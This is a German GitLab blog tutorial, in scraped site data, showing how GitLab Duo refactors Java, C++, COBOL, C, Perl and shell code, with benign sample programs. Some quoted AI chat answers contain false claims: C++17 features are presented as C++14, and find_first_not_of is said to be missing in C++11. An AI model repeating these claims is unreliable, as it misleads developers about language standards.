Build-Images der Benutzer(innen) einfacher auf dem neuesten Stand halten und unsere Möglichkeiten zur Kosteneinsparung besser verwalten. Am wichtigsten ist aber, dass unsere Benutzer(innen) mit der neuen Plattform zufriedener sind.\n\n__Über den Autor:__\n*Carl Myers lebt in Sacramento, Kalifornien, und ist Manager des CI-Plattformteams bei Indeed. Carl hat seine fast zwei Jahrzehnte lange Berufslaufbahn damit verbracht, interne Tools und Entwicklerplattformen zu entwickeln, die Entwickler(innen) in großen und kleinen Unternehmen begeistern und befähigen.*\n\n**Danksagungen:**\n*Diese Migration wäre ohne die unermüdlichen Bemühungen von Tron Nedelea, Eddie Huang, Vivek Nynaru, Carlos Gonzalez, Lane Van Elderen und dem Rest des CI-Plattformteams nicht möglich gewesen. Unser Teams ist besonders dankbar für die Führung von Deepak Bitragunta. Unser Dank geht auch an Irina Tyree für ihre Unterstützung bei diesem langen Projekt, für die Bereitstellung von Ressourcen und die unternehmensweite Abstimmung. Abschließend möchten wir uns bei allen bei Indeed bedanken, die Code, Feedback und Fehlerberichte beigetragen sowie bei der Migration von Projekten geholfen haben.*\n\n**Dies ist eine überarbeitete Version des Artikels [Wie Indeed seine CI-Plattform durch Gitlab CI ersetzt hat](https://engineering.indeedblog.com/blog/2024/08/indeed-gitlab-ci-migration/), der ursprünglich auf dem Indeed-Engineering-Blog veröffentlicht wurde.**",[1057,110,2822,746],"user stories","2024-10-31",{"slug":2825,"featured":92,"template":682},"how-indeed-transformed-its-ci-platform-with-gitlab","content:de-de:blog:how-indeed-transformed-its-ci-platform-with-gitlab.yml","How Indeed Transformed Its Ci Platform With Gitlab","de-de/blog/how-indeed-transformed-its-ci-platform-with-gitlab.yml","de-de/blog/how-indeed-transformed-its-ci-platform-with-gitlab",{"_path":2831,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2832,"content":2838,"config":2844,"_id":2846,"_type":16,"title":2847,"_source":17,"_file":2848,"_stem":2849,"_extension":20},"/de-de/blog/refactor-code-into-modern-languages-with-ai-powered-gitlab-duo",{"title":2833,"description":2834,"ogTitle":2833,"ogDescription":2834,"noIndex":6,"ogImage":2835,"ogUrl":2836,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2836,"schema":2837},"Code mit KI-gestütztem GitLab Duo in moderne Sprachen refaktorisieren ","In diesem detaillierten Tutorial erfahren Entwickler(innen), wie sie Code mithilfe von KI modernisieren können, indem sie zu einer neuen Programmiersprache wechseln und mehr über neue Funktionen in dieser Sprache lernen.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662465/Blog/Hero%20Images/GitLab_Duo_Workflow_Unified_Data_Store__1_.png","https://about.gitlab.com/blog/refactor-code-into-modern-languages-with-ai-powered-gitlab-duo","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Code mit KI-gestütztem GitLab Duo in moderne Sprachen refaktorisieren \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2024-08-26\",\n      }\n                  ",{"title":2833,"description":2834,"authors":2839,"heroImage":2835,"date":2841,"body":2842,"category":677,"tags":2843,"updatedDate":2516},[2840],"Michael Friedrich","2024-08-26","Egal, ob es deine Aufgabe ist, die Codebase oder das Framework zu modernisieren, indem du zu einer neuen Programmiersprache wechselst, oder ob du mehr über neue Funktionen in dieser Sprache erfahren möchtest: das KI-gestützte [GitLab Duo](https://about.gitlab.com/gitlab-duo/) kann dir dabei helfen. Hier erfährst du anhand von Beispielen aus meiner 20-jährigen Berufserfahrung als Programmier(in), wie du Herausforderungen beim Code-Refactoring am besten meisterst.\n\nDie Prompts und Beispiele in diesem Artikel werden in verschiedenen IDEs gezeigt: VS Code und JetBrains (IntelliJ IDEA, PyCharm und CLion) mit den jeweiligen installierten (GitLab-Duo-Erweiterungen/Plugins]https://docs.gitlab.com/ee/user/project/repository/code_suggestions/supported_extensions.html). Die Entwicklungsumgebung nutzt GitLab.com, darunter Updates auf Anthropic Claude 3.5 als großes Sprachmodell (LLM) für [Codevorschläge](https://docs.gitlab.com/ee/user/gitlab_duo/#code-suggestions) und den [Chat](https://docs.gitlab.com/ee/user/gitlab_duo/#gitlab-duo-chat) von GitLab Duo. Spoiler: Sie sind noch leistungsstärker und effizienter.\n\nDu kannst zu den einzelnen Abschnitten dieses Artikels springen oder ihn von Anfang bis Ende lesen. Der Quellcode und die Herausforderungen mit den jeweiligen Übungen sind zum Selbststudium geeignet.\n\n- [Code in moderne Programmiersprachen-Standards refaktorieren](#refactor-code-to-modern-programming-language-standards)\n    - [Java 7 generieren und zu Java 8 refaktorisieren](#generate-java-7-and-refactor-to-java-8)\n    - [Über C++-Standards refaktorisieren](#refactor-across-c%2B%2B-standards)\n        - [Migration: C++03 zu C++14 refaktorisieren](#migration-refactor-c%2B%2B03-into-c%2B%2B14)\n        - [Downgrade: C++23 zu C++11 refaktorisieren](#downgrade-refactor-c%2B%2B23-to-c%2B%2B11)\n    - [COBOL erklären und refaktorisieren](#explain-and-refactor-cobol)\n- [Eine Sprache in eine andere refaktorisieren](#refactor-a-language-into-another-language)\n    - [C zu Rust refaktorisieren](#refactor-c-to-rust)\n    - [Perl zu Python refaktorisieren](#refactor-perl-to-python)\n- [Weitere Tipps zum Refaktorisieren](#more-refactoring-hands-on)\n    - [JavaScript refaktorisieren](#refactor-javascript)\n    - [Bash zu ZSH oder SH refaktorisieren](#refactor-bash-to-zsh-or-sh)\n    - [Weitere Anwendungsfälle und Tutorials](#more-use-cases-and-tutorials)\n- [Wichtige Erkenntnisse](#key-takeaways)\n\n## Code in moderne Programmiersprachen-Standards refaktorisieren\n\nIm nächsten Abschnitt erfährst du, wie du die sprachspezifischen Unterschiede einer Programmiersprache refaktorisierst, erklärst und verstehst. \n\n### Java 7 generieren und auf Java 8 refaktorisieren \n\nEin Kunde wollte wissen, ob GitLab Duo Java 7 unterstützt. Beim Testen von Codevorschlägen und Chat-Prompts, um spezifischen Code für Java 7 zu erstellen, dachte ich auch über Hilfe bei der Migration nach. Anthropic Claude 3.5 kann die sprachspezifischen Unterschiede verstehen, ebenso wie GitLab Duo.\n\nDas folgende Beispiel zeigt eine Aufforderung zum Generieren von Java-7-Code mit Codevorschlägen.\n\n```java\n// Generate a new class for a File Manager. Use Java 7 features only.\nimport java.io.*;\nimport java.nio.file.*;\nimport java.util.*;\n\npublic class FileManager {\n    private Path rootDirectory;\n\n    public FileManager(String rootPath) throws IOException {\n        this.rootDirectory = Paths.get(rootPath);\n        if (!Files.exists(rootDirectory)) {\n            Files.createDirectories(rootDirectory);\n        }\n    }\n\n    public void createFile(String fileName, String content) throws IOException {\n        Path filePath = rootDirectory.resolve(fileName);\n        Files.write(filePath, content.getBytes(), StandardOpenOption.CREATE, StandardOpenOption.TRUNCATE_EXISTING);\n    }\n\n    public String readFile(String fileName) throws IOException {\n        Path filePath = rootDirectory.resolve(fileName);\n        return new String(Files.readAllBytes(filePath));\n    }\n\n    public void deleteFile(String fileName) throws IOException {\n        Path filePath = rootDirectory.resolve(fileName);\n        Files.delete(filePath);\n    }\n\n    public List\u003CString> listFiles() throws IOException {\n        List\u003CString> fileList = new ArrayList\u003C>();\n        try (DirectoryStream\u003CPath> stream = Files.newDirectoryStream(rootDirectory)) {\n            for (Path file : stream) {\n                fileList.add(file.getFileName().toString());\n            }\n        }\n        return fileList;\n    }\n\n    public void copyFile(String sourceFileName, String destinationFileName) throws IOException {\n        Path sourcePath = rootDirectory.resolve(sourceFileName);\n        Path destinationPath = rootDirectory.resolve(destinationFileName);\n        Files.copy(sourcePath, destinationPath, StandardCopyOption.REPLACE_EXISTING);\n    }\n\n    public void moveFile(String sourceFileName, String destinationFileName) throws IOException {\n        Path sourcePath = rootDirectory.resolve(sourceFileName);\n        Path destinationPath = rootDirectory.resolve(destinationFileName);\n        Files.move(sourcePath, destinationPath, StandardCopyOption.REPLACE_EXISTING);\n    }\n\n    public long getFileSize(String fileName) throws IOException {\n        Path filePath = rootDirectory.resolve(fileName);\n        return Files.size(filePath);\n    }\n\n    public boolean fileExists(String fileName) {\n        Path filePath = rootDirectory.resolve(fileName);\n        return Files.exists(filePath);\n    }\n}\n```\n\nDu kannst mit folgenden Schritten in deinem IDE fortfahren:\n\n1. Lerne und verstehe den generierten Code: Wähle den Code im Editor aus (im Screenshot blau), wechsle zum GitLab-Duo-Chat und sende den Slash-Befehl `/explain` als Prompt.\n\n![Validiere den generierten Code mit dem Slash-Befehl `/explain` im GitLab-Duo-Chat](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/intellij_java7_generate_refactor.png)\n\n2. Wandle den Java-7-Code in Java 8 um: Wähle den Code im Editor aus, wechsle zum Chat und sende `/refactor using Java 8 features` als detaillierteren Prompt.\n3. Übe eine Alternative zum Refactoring: Erstelle die neue Datei `java8.java` und generiere Java-8-spezifischen Code mit Codevorschlägen mit dem Prompt `// Generate a new class for a File Manager. Use Java 8 features only.`.\n4. Schreibe weiter Java-8-Code im gleichen Kontext mit KI-basierter Code-Vervollständigung.\n\nDu kannst dir alle Schritte in dieser Aufnahme ansehen.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/XKRv6uBkD2I\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nDer Quellcode ist in der [GitLab-Duo-Challenge – Java 7 generieren und auf Java 8 refaktorisieren](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-generate-refactor-java-7-to-8) verfügbar.\n\n### Über C++-Standards refaktorisieren\n\nDer C++-Standard hat eine lange Geschichte und gilt als stabil und ausgereift. Je nach Zielarchitektur und Plattformen hängt der unterstützte Standard vom Compiler des Host-Betriebssystems ab.\n\nIn meiner Karriere musste ich bereits 25 verschiedene Linux- und Windows-Distributionen in Open-Source-Projekten supporten und habe unterschiedlichsten Compiler-Support für neuere Sprachfunktionen und C++-Standards erlebt. Im Jahr 2015 haben wir uns für C++11-Funktionen entschieden und später C++14 oder C++17 nie mehr angerührt. \n\nDie Refaktorisierung von Funktionen und Algorithmen zu einem neuen C++-Standard wäre zu aufwändig gewesen und es wäre Hilfe beim Erklären der Unterschiede nötig gewesen. Damals haben wir in Büchern, über Online-Suche, Stack Overflow und manchmal Tools Hilfe zum Refactoring gesucht.Mit KI-basierten Assistenten und GitLab Duo hat sich das alles geändert: Du kannst Codevorschläge und den Chat nutzen, um Quellcode in einem bestimmten C++-Standard bereitzustellen. Dann ist es auch möglich, die verschiedenen Ausgaben zu vergleichen. \n\nDas folgende Beispiel verwendet einen Prompt, um speziell Quellcode für den C++03-Standard zu generieren. Es implementiert einen einfachen Konfigurations-Parser für das Konfigurationsformat `.ini`.\n\n```c++\n/* Create a config parser which can parse an ini format\nUse C++03 standard only\n */\n\n#include \u003Ciostream>\n#include \u003Cfstream>\n#include \u003Cstring>\n#include \u003Cmap>\n#include \u003Csstream>\n\nclass ConfigParser {\nprivate:\n    std::map\u003Cstd::string, std::map\u003Cstd::string, std::string> > config;\n\npublic:\n    ConfigParser() {}\n\n    bool parse(const std::string& filename) {\n        std::ifstream file(filename.c_str());\n        if (!file.is_open()) {\n            return false;\n        }\n\n        std::string line;\n        std::string currentSection;\n\n        while (std::getline(file, line)) {\n            // Trim whitespace\n            size_t first = line.find_first_not_of(\" \\t\");\n            size_t last = line.find_last_not_of(\" \\t\");\n            if (first == std::string::npos) continue; // Skip empty lines\n            line = line.substr(first, (last - first + 1));\n\n            if (line[0] == '[' && line[line.length() - 1] == ']') {\n                // This is a section\n                currentSection = line.substr(1, line.length() - 2);\n            } else {\n                // This is a key-value pair\n                size_t delimiterPos = line.find('=');\n                if (delimiterPos != std::string::npos) {\n                    std::string key = line.substr(0, delimiterPos);\n                    std::string value = line.substr(delimiterPos + 1);\n                    config[currentSection][key] = value;\n                }\n            }\n        }\n\n        file.close();\n        return true;\n    }\n\n    std::string getValue(const std::string& section, const std::string& key) const {\n        std::map\u003Cstd::string, std::map\u003Cstd::string, std::string> >::const_iterator sectionIt = config.find(section);\n        if (sectionIt != config.end()) {\n            std::map\u003Cstd::string, std::string>::const_iterator keyIt = sectionIt->second.find(key);\n            if (keyIt != sectionIt->second.end()) {\n                return keyIt->second;\n            }\n        }\n        return \"\";\n    }\n\n    void printConfig() const {\n        std::map\u003Cstd::string, std::map\u003Cstd::string, std::string> >::const_iterator sectionIt;\n        for (sectionIt = config.begin(); sectionIt != config.end(); ++sectionIt) {\n            std::cout \u003C\u003C \"[\" \u003C\u003C sectionIt->first \u003C\u003C \"]\" \u003C\u003C std::endl;\n            std::map\u003Cstd::string, std::string>::const_iterator keyIt;\n            for (keyIt = sectionIt->second.begin(); keyIt != sectionIt->second.end(); ++keyIt) {\n                std::cout \u003C\u003C keyIt->first \u003C\u003C \" = \" \u003C\u003C keyIt->second \u003C\u003C std::endl;\n            }\n            std::cout \u003C\u003C std::endl;\n        }\n    }\n};\n\nint main() {\n    ConfigParser parser;\n    if (parser.parse(\"config.ini\")) {\n        std::cout \u003C\u003C \"Config file parsed successfully.\" \u003C\u003C std::endl;\n        parser.printConfig();\n\n        std::cout \u003C\u003C \"Value of 'key1' in 'section1': \" \u003C\u003C parser.getValue(\"section1\", \"key1\") \u003C\u003C std::endl;\n    } else {\n        std::cout \u003C\u003C \"Failed to parse config file.\" \u003C\u003C std::endl;\n    }\n    return 0;\n}\n```\n\nThe same prompts can be applied to [explaining code](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#explain-code-in-the-ide), [generating tests](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#write-tests-in-the-ide), and even [refactoring code](https://docs.gitlab.com/ee/user/gitlab_duo_chat/examples.html#refactor-code-in-the-ide): `/explain focus on C++03 features`, `/tests for C++03 features`, `/refactor into C++03`. \n\nDie folgenden C+ -Standards wurden für die Arbeit mit GitLab Duo Codevorschläge getestet:\n\n- C++03\n- C++11\n- C++14\n- C++17\n- C++20\n- C++23\n\nDen Quellcode findest du in der [Challenge –  Cpp-Standards Konfigurations-Parser refaktorisieren](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-refactor-cpp-standards-config-parser). \n\nEs gibt viele verschiedene Kombinationen, um den Quellcode zwischen den C++-Standards zu refaktorisieren. Die folgenden Beispiele zeigen eine Modernisierung des C++-Codes mit Versionsupgrades, testen aber auch ein Downgrade, als ambitionierte Entwickler(innen) C++20 verwenden wollten, aber C++11 verwenden mussten, um den Umgebungen ihrer Geschäftskund(inn)en zu entsprechen.#### Migration: C++03 in C++14 refaktorisieren \n\nDas Ziel ist es, den Code zu modernisieren und die Veränderungen zwischen C++03 und C++14 zu verstehen. Öffne den [03.cpp](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-refactor-cpp-standards-config-parser/-/blob/main/03.cpp?ref_type=heads)-Quellcode in der IDE, wähle ihn aus und gib den folgenden Chat-Prompt ein: \n\n```markdown\n/refactor into C++14 and explain the changes\n```\n\nPotentielle Antwort des Chats: \n\n```markdown\n…\n\nExplanations of the changes:\n\n1. Default constructor: Changed `ConfigParser() {}` to `ConfigParser() = default;` to use the default constructor.\n2. File opening: Removed `.c_str()` when opening the file, as C++11 and later support `std::string` directly.\n3. Lambda functions: Introduced a lambda function trim to handle string trimming, making the code more readable and reusable.\n4. Auto keyword: Used `auto` for type deduction in various places, improving code readability.\n5. Range-based for loops: In the `printConfig` method, replaced traditional for loops with range-based for loops, which are more concise and less error-prone.\n6. Structured bindings: Used structured bindings in the range-based for loops to directly access key-value pairs.\n7. If statements with initializers: In the `getValue` method, used if statements with initializers to combine the find operation and the check in a single line.\n8. String member functions: Used `front()` and `back()` instead of array-style access for the first and last characters of strings.\n9. Uniform initialization: Used uniform initialization `{}` instead of parentheses `()` for object creation.\n10. Removed `std::endl`: Replaced `std::endl` with `'\\n'` for better performance, as `std::endl` forces a flush of the output buffer.\n\nThese changes make the code more modern, concise, and potentially more efficient while maintaining the same functionality.\n\n```\n\n![Änderungen im Code](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/duo_refactor_cpp_clion_chat_cpp03_to_14_01.png)\n\n![Änderungen im Code 2](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675060/Blog/Content%20Images/duo_refactor_cpp_clion_chat_cpp03_to_14_02.png)\n\n#### Downgrade: C++23 zu C++11 refaktorisieren\n\nManchmal starten Entwickler(innen) einen neuen Proof of Concept in einem modernen C++-Standard wie C++20. Die aktuell unterstützten Versionen für Geschäftskundenumgebungen erfordern ältere Compiler mit C++11-Unterstützung. Ein Downgrade der Versionen ist mit Kosten verbunden und erfordert eine Bewertung, welche Sprachfunktionen noch unterstützt werden und welche anderen Nachteile auftreten könnten.\n\nÖffne den [23.cpp](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-refactor-cpp-standards-config-parser/-/blob/main/23.cpp?ref_type=heads)-Quellcode in der IDE, wähle ihn aus und gib den folgenden Chat-Prompt ein: \n\n```markdown\n/refactor into C++11, explain the necessary changes and potential problems\n```\n\nPotenzielle Antwort des Duo Chat: \n\n```markdown\nThe main changes required to make this code compatible with C++11 are:\n\n1. Remove the C++23 standard comment, as it's no longer applicable.\n2. Replace `std::string::find_first_not_of` and `std::string::find_last_not_of` with C++11 compatible alternatives in the trim function.\n3. Use `const auto&` instead of `auto` for loop variables to avoid unnecessary copying.\n\nPotential problems in the original code:\n\n1. The original code used C++23 features, which might not be widely supported yet.\n2. The `trim` function used `std::string::find_first_not_of` and `std::string::find_last_not_of`, which are not available in C++11.\n3. The use of `auto` instead of `const auto&` in some loops could lead to unnecessary copying of complex objects.\n\nThese issues have been addressed in the refactored version. The `trim` function now uses `std::find_if_not` with lambda functions to achieve the same result in a C++11 compatible way. The use of `const auto&` ensures that no unnecessary copying occurs when iterating over the config map.\n```\n\n![The `trim` function now uses `std::find_if_not` with lambda functions to achieve the same result in a C++11 compatible way](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/duo_refactor_cpp_clion_chat_cpp23_to_11_01.png)\n\n![The use of `const auto&` ensures that no unnecessary copying occurs when iterating over the config map](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/duo_refactor_cpp_clion_chat_cpp23_to_11_02.png)\n\n**Asynchronisierungsübung**: Teste weitere Refactoring-Szenarios.\n\n### COBOL erklären und umgestalten\n\nDu kannst GitLab Duo verwenden, um den Quellcode zu erklären, zu analysieren, zu reparieren und für COBOL-Programme zu refaktorisieren. Ich habe COBOL nie geschrieben oder gelernt und fand diesen [COBOL-Programmierkurs](https://github.com/openmainframeproject/cobol-programming-course) mit vielen Beispielen hilfreich.\n\nIch habe dann den Chat gefragt, wie man mit COBOL beginnt, ein COBOL-Programm erstellt und ein COBOL-Programm auf macOS kompiliert.\n\n```markdown\nPlease explain what COBOL is and its syntax\n\nPlease create a COBOL program that shows the first steps\n\nTell me more about the COBOL compiler. Which system do I need? Can I do it on my macOS?\n\n```\n\n![Bitte an GitLab Duo Chat, die Sprache und ihre Syntax zu erklären](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/vscode_chat_cobol_generate_example.png)\n\nÖffne ein COBOL-Programm, wähle den Quellcode aus, gehe zum Duo Chat und sende den Prompt `/explain`, um Zweck und Funktion des Codes zu erklären. \n\nDu kannst die Prompts auch verfeinern, um allgemeinere Zusammenfassungen zu erhalten, zum Beispiel:\n\n```markdown\n/explain like I am five\n```\n\n> Tipp: Programmiersprachen haben ähnliche Algorithmen und Funktionen. Für COBOL bot der Chat an, es mit Python zu erklären. Deshalb habe ich die folgenden Prompts angepasst, um in Python nach einer Erklärung zu fragen.\n\n```markdown\n/explain in a different programming language\n```\n\nDu kannst auch den Slash-Befehl `/refactor` im Chat verwenden, um die Codequalität zu verbessern, potenzielle Probleme zu beheben und zu versuchen, COBOL in Python zu refaktorisieren.\n\n```markdown\n/refactor fix the environment error\n\n/refactor fix potential problems\n\n/refactor into Python\n```\n\nDie Aufzeichnung [GitLab Duo Coffee Chat – Herausforderung: COBOL-Programme erklären und refaktorisieren](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-explain-refactor-cobol-program) zeigt die Schritte, die ich oben erklärt habe, anhand eines praktischen Beispiels. Hier siehst du auch, wie man einen fehlenden Punkt finden kann: \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/pwlDmLQMMPo\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Eine Sprache in eine andere Sprache refaktorisieren\n\nModernisierung und Verbesserungen der Codequalität erfordern manchmal den Wechsel einer Programmiersprache. Ähnliche Refactoring-Prompts mit GitLab Duo können den Migrationsprozess beschleunigen. Das COBOL-Beispiel mit Python ist nur eine von vielen Anforderungen in Unternehmensumgebungen. Sehen wir uns nun weitere Anwendungsfälle an.\n\n### C in Rust refaktorisieren\n\nAnfang 2024 wurden mehrere Programmiersprachen, darunter C, als nicht speichersicher bezeichnet. Die Empfehlungen für zukünftige Projekte umfassen [speichersichere Sprachen](https://about.gitlab.com/blog/memory-safe-vs-unsafe/) wie Rust. Aber wie startet man eine Migration und welche Herausforderungen gibt es dabei?\n\nVersuchen wir es mit einem einfachen Beispiel in C. Der Code wurde mithilfe von Codevorschlägen generiert und sollte die grundlegenden Betriebssysteminformationen wie Name, Version und Plattform ausdrucken. Der C-Code kompiliert plattformübergreifend unter Windows, Linux und macOS.\n\n```c\n// Read OS files to identify the platform, name, versions\n// Print them on the terminal\n#include \u003Cstdio.h>\n#include \u003Cstdlib.h>\n#include \u003Cstring.h>\n\n#ifdef _WIN32\n    #include \u003Cwindows.h>\n#elif __APPLE__\n    #include \u003Csys/utsname.h>\n#else\n    #include \u003Csys/utsname.h>\n#endif\n\nvoid get_os_info() {\n    #ifdef _WIN32\n        OSVERSIONINFOEX info;\n        ZeroMemory(&info, sizeof(OSVERSIONINFOEX));\n        info.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);\n        GetVersionEx((OSVERSIONINFO*)&info);\n\n        printf(\"Platform: Windows\\n\");\n        printf(\"Version: %d.%d\\n\", info.dwMajorVersion, info.dwMinorVersion);\n        printf(\"Build: %d\\n\", info.dwBuildNumber);\n    #elif __APPLE__\n        struct utsname sys_info;\n        uname(&sys_info);\n\n        printf(\"Platform: macOS\\n\");\n        printf(\"Name: %s\\n\", sys_info.sysname);\n        printf(\"Version: %s\\n\", sys_info.release);\n    #else\n        struct utsname sys_info;\n        uname(&sys_info);\n\n        printf(\"Platform: %s\\n\", sys_info.sysname);\n        printf(\"Name: %s\\n\", sys_info.nodename);\n        printf(\"Version: %s\\n\", sys_info.release);\n    #endif\n}\n\nint main() {\n    get_os_info();\n    return 0;\n}\n```\n\nÖffne den Quellcode in [`os.c`](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-refactor-c-to-rust/-/blob/897bf57a14bb7be07d842e7f044f93a61456d611/c/os.c), beispielsweise in JetBrains CLion. Wähle den Quellcode aus und gib den Chat-Prompt `/explain` ein, um Zweck und Funktion erklären zu lassen. Gib als Nächstes `/refactor` in den Chat ein, um den C-Code zu refaktorisieren, und gehe dann einen Schritt weiter: `/refactor into Rust`. \n\nInitialisiere ein neues Rust-Projekt (Tipp: Frage den Duo Chat) und kopiere den generierten Quellcode in die Datei `src/main.rs`. Führe `cargo build` aus, um den Code zu kompilieren.\n\n![Initialisiere ein neues Rust-Projekt und kopiere den generierten Quellcode in die Datei `src/main.rs`. Führe `cargo build` aus, um den Code zu kompilieren.](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/jetbrains_clion_c_rust.png)\n\nIn der Aufzeichnung von [GitLab Duo Coffee Chat: Herausforderung – C zu Rust refaktorisieren](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-refactor-c-to-rust) lernst du alle Schritte kennen und siehst außerdem einen Kompilierungsfehler, der mithilfe des Chats und des Slash-Vefehls `/refactor` behoben wird. Die Aufzeichnung zeigt auch, wie man die Wartbarkeit des neuen Rust-Codes verbessern kann, indem man mehr Fehlerbehandlung hinzufügt. \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/nf8g2ucqvkI\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Perl zu Python refaktorisieren \n\nDieses eine Skript, das auf Produktionsservern läuft, seinen Job macht und dessen Autor(in) schon seit zehn Jahren nicht mehr im Unternehmen arbeitet – und das niemand anfassen will. Dieses Problem kann es auch für mehrere Skripte oder sogar für eine ganze Anwendung geben. Dann wird beschlossen, alles auf das moderne Python 3 zu migrieren, mit dem Ziel, den Code zu modernisieren und die Veränderungen zwischen Perl und Python zu verstehen.\n\nEin(e) Kund(in) hat kürzlich in einem GitLab-Duo-Workshop gefragt, ob eine direkte Migration mit GitLab Duo möglich ist. Die kurze Antwort: Ja, das ist es. Die längere Antwort: Du kannst mithilfe verfeinerter Chat-Prompts Perl-Code in Python refaktorisieren, ähnlich wie bei anderen Beispielen in diesem Artikel.\n\nÖffne den Quellcode `script.pl` in der IDE, wähle ihn aus und öffne den Chat.\n\n```perl\n#!/usr/bin/perl\nuse strict;\nuse warnings;\n\nopen my $md_fh, '\u003C', 'file.md' or die \"Could not open file.md: $!\";\n\nmy $l = 0;\nmy $e = 0;\nmy $h = 0;\n\nwhile (my $line = \u003C$md_fh>) {\n  $l++;\n  if ($line =~ /^\\s*$/) {\n    $e++;\n    next;\n  }\n  if ($line =~ /^#+\\s*(.+)/) {\n    print \"$1\\n\";\n    $h++; \n  }\n}\n\nprint \"\\nS:\\n\"; \nprint \"L: $l\\n\";\nprint \"E: $e\\n\"; \nprint \"H: $h\\n\";\n```\n\nYou can use the following prompts to:\n\n1. `/explain` its purpose, and `/refactor` to improve the code.\n2. `/refactor into Python`, um ein funktionierendes Python-Skript zu erhalten.\n\n![Refaktorisierung in Python](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/pycharm_duo_refactor_perl_python.png)\n\n> Tipp: Du kannst Perl-Code in mehrere Zielsprachen refaktorisieren. Die Aufzeichnung von [GitLab Duo Coffee Chat: Herausforderung – Perl zu Python refaktorisieren](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-refactor-perl-python) zeigt Refaktorisierungen zu PHP, Ruby, Rust, Go, Java, VB.NET, C# und mehr.\n> \n> Wenn du Perl-Skripts weiterhin verwenden möchtest, kannst du [Perl als zusätzliche Sprache](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/supported_extensions.html#add-support-for-more-languages) in Duo Codevorschläge konfigurieren. Der Chat versteht bereits Perl und kann bei Fragen und Slash-Befehlen helfen, wie du in der folgenden Aufnahme sehen kannst.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/03HGhxXg9lw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Weitere Tipps zum Refaktorisieren \n\n### JavaScript refaktorisieren \n\nEddie Jaoude zeigt in einem praktischen Beispiel, wie er JavaScript refaktorisiert, um die Codequalität zu verbessern oder Funktionen hinzuzufügen. \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/mHn8KOzpPNY\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Bash zu ZSH oder SH refaktorisieren\n\nIch benutze Bash seit 20 Jahren als Shell und bin zuletzt auf macOS auf ZSH umgestiegen. Dies führte dazu, dass das Skript nicht funktionierte oder unbekannte Fehler in meinem Terminal auftraten. Ein weiterer Anwendungsfall für das Refactoring sind Shell-Einschränkungen – einige Betriebssysteme oder Linux-/Unix-Distributionen bieten kein Bash, sondern nur SH, z. B. Alpine.\n\n![Shell-Skripte refaktorisieren](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749675059/Blog/Content%20Images/intellj_refactor_shell_scripts.png)\n\nDer [GitLab Duo Coffee Chat: Herausforderung – Shell-Skripte refaktorisieren](https://gitlab.com/gitlab-da/use-cases/ai/ai-workflows/gitlab-duo-challenges/code-challenges/challenge-refactor-shell-scripts) zeigt ein Beispiel mit einem C-Programm, das Syslog-Dateien bearbeiten kann, und einem in Bash geschriebenen Build-Skript. Während der gesamten Challenge wird der Chat mit den Prompts `/explain` und `/refactor` abgefragt, um den Code zu verbessern. Es ist auch möglich, Bash in POSIX-konformes SH oder ZSH zu refaktorisieren. Die Sitzung endet mit der Bitte an den Chat, fünf verschiedene Shell-Skriptimplementierungen bereitzustellen und die wichtigsten Zusammenfassungen zu erläutern. \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/mssqYjlKGzU\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### Weitere Anwendungsfälle und Tutorials\n\n- 